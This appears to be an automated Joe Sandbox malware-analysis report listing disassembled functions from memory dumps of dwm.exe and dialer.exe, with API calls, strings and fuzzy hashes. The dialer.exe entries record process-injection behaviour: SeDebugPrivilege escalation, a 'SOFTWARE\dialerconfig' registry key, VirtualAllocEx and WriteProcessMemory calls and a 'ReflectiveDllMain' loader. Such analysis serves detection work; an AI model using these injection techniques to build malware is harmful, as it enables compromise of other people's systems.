Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: a54b180e1825f259867276b75912e54126220ed59de397486db85666662ac1cb
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: EB617A33600B888AEB28DFA5D4813DD77B0F348B88F044256EF4A17B98DB3AD995C700

Function 000001160CA6A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA6A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001160CA6A288

Strings

csm, xrefs: 000001160CA6A1C2
csm, xrefs: 000001160CA6A2DA

Memory Dump Source

Source File: 00000021.00000002.3636838436.000001160CA60000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca60000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 0d3f649f3e214bf1ad3b67a947e903f0fb44eb02b02186e1919c71ddb1229bee
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 36518236100B80CAEB788F2995443D977A0F359B98F184255FF99A7BD9CB3AD8D1D700

Function 000001160CA9AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA9ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001160CA9AE88

Strings

csm, xrefs: 000001160CA9AEDA
csm, xrefs: 000001160CA9ADC2

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 7e1fb8fdabdebb0689bf3c3404f30a21e962d6697f5bd71d6188b06412b45dbd
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 1E518D721007808AEB688F2595863D977A0F359B85F185156FF9A47BD9CB3BD8D0D700

Function 000001160CA68405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA68413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160CA684A8

Strings

f, xrefs: 000001160CA68426
csm, xrefs: 000001160CA6848E

Memory Dump Source

Source File: 00000021.00000002.3636838436.000001160CA60000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca60000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 511292130ba11b18e6ec435e9b9489d8c9b6dd49d0b852a9a64ee7ca7a2fa1f3
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: E751AB72602B008AEB19CB29E444BD93799F358B98F5581A5EF16437CCEB7AC8C18704

Function 000001160CA683E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA68413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160CA684A8

Strings

f, xrefs: 000001160CA68426
csm, xrefs: 000001160CA6848E

Memory Dump Source

Source File: 00000021.00000002.3636838436.000001160CA60000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca60000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 5074665d853f127c4aa43890f70cda479e0123e79606554beef683be19da4394
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: C3316972601B4096EB18DF2AE848BD977A8F348B98F158154FF6A0778CDB3EC980C704

Function 000001160CAA2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001160CAA20D7
WriteFile.KERNEL32 ref: 000001160CAA239F
WriteFile.KERNEL32 ref: 000001160CAA23E5
GetLastError.KERNEL32 ref: 000001160CAA249B

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 4a6be51de3848e6702e713832d9233cbb7be7e1cc48ffc979ff010895bd085d9
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 02D1BD72714B808AE719CFA9D4403EC3BB1E398798F148256EF5E97B99DB36C496C340

Function 000001160CA914A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA914C5
HeapFree.KERNEL32 ref: 000001160CA914D4
GetProcessHeap.KERNEL32 ref: 000001160CA914E1
HeapFree.KERNEL32 ref: 000001160CA914F0
GetProcessHeap.KERNEL32 ref: 000001160CA91500

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 5a4cccb55fb742b62dc734b8e0df6b208cc7dbaed8a3dc776fd4d6eed8ebf3d7
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: B1012536600F90C6E708DB66A9041DAABA0F78CB81F084425FF5A43729DF39C0918B40

Function 000001160CAA2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001160CAA2A9C
GetLastError.KERNEL32 ref: 000001160CAA2B27

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 431a759050d179949e483925ef2424d29c30973842a17244e412dcbf38dff4d6
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: E591AE7271075496FB689F6594843ED2BA0F79CB88F14428AEF0E67A9DDB36C4D2C700

Function 000001160CA97960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001160CA9798C
GetCurrentThreadId.KERNEL32 ref: 000001160CA9799A
GetCurrentProcessId.KERNEL32 ref: 000001160CA979A6
QueryPerformanceCounter.KERNEL32 ref: 000001160CA979B6

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 2cd6e4e7066c78cd4db9facb4e75c84f206db304ab82898182781ebb652835db
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: CC111532710F058AEB408B60E8553E833A4F75D768F440E21FF6D86BA9DB79C5A89380

Function 000001160CA9253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001160CA92620
StrCpyW.SHLWAPI ref: 000001160CA92639

Strings

\\.\pipe\, xrefs: 000001160CA9262B

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 7be1a33af68f3fa142c27885c3340da2d6443656d2c4f068d33aa84f63ab79a6
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 7B71B53620078195EB6DDF2598463EA67A4F38D784F440256FF0963B9DDE37C585C740

Function 000001160CA69E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001160CA69EB7

Strings

RCC, xrefs: 000001160CA69E85
MOC, xrefs: 000001160CA69E7C

Memory Dump Source

Source File: 00000021.00000002.3636838436.000001160CA60000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca60000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: e7b6a842bf8d32be560e08983c46cfe544e9b3cf3ecfba2c55d2003a00bb49b2
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: D5614637A00F848AEB28DF69E4803DE77A0F748B88F154255EF8917B99DB3AD595C700

Function 000001160CA92330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001160CA92416
StrCpyW.SHLWAPI ref: 000001160CA9242D

Strings

\\.\pipe\, xrefs: 000001160CA92421

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 9c6cea4bdae0cb2a6801b25d976e615f5eec4524207763dd4bfc951a6191974f
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 6E51E472204781A1EA7CDB29A4993EA6791F3CD740F440265FF5A43B9EDA3FC9848780

Function 000001160CAA26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001160CAA2807
GetLastError.KERNEL32 ref: 000001160CAA2829

Strings

U, xrefs: 000001160CAA27B3

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 410f1528c0f1169d0e8c37794e18f1a6940184ee8eabb10144613a5658bf0d8f
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 7C41AD72614B8086EB248F65E8443EAB7A0F79CB94F544121FF4E87798EB3EC591CB40

Function 000001160CA994A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001160CA994F0
RaiseException.KERNEL32 ref: 000001160CA99531

Strings

csm, xrefs: 000001160CA9951E

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 575042b631b71269712c8c11cde695bc973bf8b3a77ab8acaf2560d46d2c1290
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 16112836214B8082EB658F25E44439AB7E5FB88B94F584264EF8C07B68DF3EC595CB00

Function 000001160CA67356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001160CA6737C

Strings

ierarchy Descriptor', xrefs: 000001160CA67381
riptor at (, xrefs: 000001160CA67364

Memory Dump Source

Source File: 00000021.00000002.3636838436.000001160CA60000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca60000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: abf525fd3daf36b883674429ccc3a985a46788f7e6dc3d0c007950352127e432
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: B0E08671A41B4490EF058F61E8402D873A4EB5CB64B489222AE5C46359FA38D1E9C300

Function 000001160CA673B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001160CA673D8

Strings

riptor at (, xrefs: 000001160CA673C0
Locator', xrefs: 000001160CA673DD

Memory Dump Source

Source File: 00000021.00000002.3636838436.000001160CA60000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca60000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 74fd576b2d3ba4bb534c5b975ecc9e34be97d807d594df3172c2d25d8146ed7d
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: A7E0E671A51B4494DF058F65D8501D873A5E75CB54B889262DE5C46359EA38D1E5C300

Function 000001160CA91BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA91C2D
HeapAlloc.KERNEL32 ref: 000001160CA91C3B
GetProcessHeap.KERNEL32 ref: 000001160CA91C77
HeapFree.KERNEL32 ref: 000001160CA91C85

Part of subcall function 000001160CA9152C: StrCmpIW.SHLWAPI ref: 000001160CA9155D

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: bd8e8fd0d7fd396850ebe7402d0c179e7b2eb44d2eae185ed36ccf84efb2eafe
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: B2118C35601B8581EA48DB66A8092E977E1FB8DFC0F1840A8EF4D5776ADF3AC482C300

Function 000001160CA91268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA9126E
HeapAlloc.KERNEL32 ref: 000001160CA9127D
GetProcessHeap.KERNEL32 ref: 000001160CA91297
HeapAlloc.KERNEL32 ref: 000001160CA912A8

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 869105a1881b30f2dc14e196b85700cdad5a2b022a2c7915137ec73985f912f1
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 04E03939601B0486EB088B62D80838ABAE1EB8DB06F0880249F0907355DF7E84D9CB50

Analysis Process: dialer.exePID: 7672, Parent PID: 7368COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpi.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: FindCloseChangeNotification.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceA.KERNEL32 ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNEL32 ref: 0000000140002511

Strings

DLL, xrefs: 0000000140002321
kernel32.dll, xrefs: 0000000140002283
svc64, xrefs: 0000000140002452
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
SeDebugPrivilege, xrefs: 00000001400022C9
SOFTWARE\dialerconfig, xrefs: 0000000140002399
ntdll.dll, xrefs: 0000000140002277
pid, xrefs: 000000014000241B

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentResource$FileFindSecurityThread$ChangeDescriptorFreeHandleHeapModuleNotificationOpenProtectTokenValueVirtual$AdjustAllocConvertErrorInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 1970497257-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: FindCloseChangeNotification.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
FindCloseChangeNotification.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

@, xrefs: 0000000140001401
MSBuild.exe, xrefs: 00000001400011B8
dialer.exe, xrefs: 00000001400011CC
ReflectiveDllMain, xrefs: 000000014000139D

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: Process$Close$Open$FindHandleInformationToken$AllocAuthorityChangeFileLocalNameNotification$CodeCountErrorExitFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2998269048-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
FindCloseChangeNotification.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlDeleteBoundaryDescriptor.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlRestoreThreadPreferredUILanguages.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

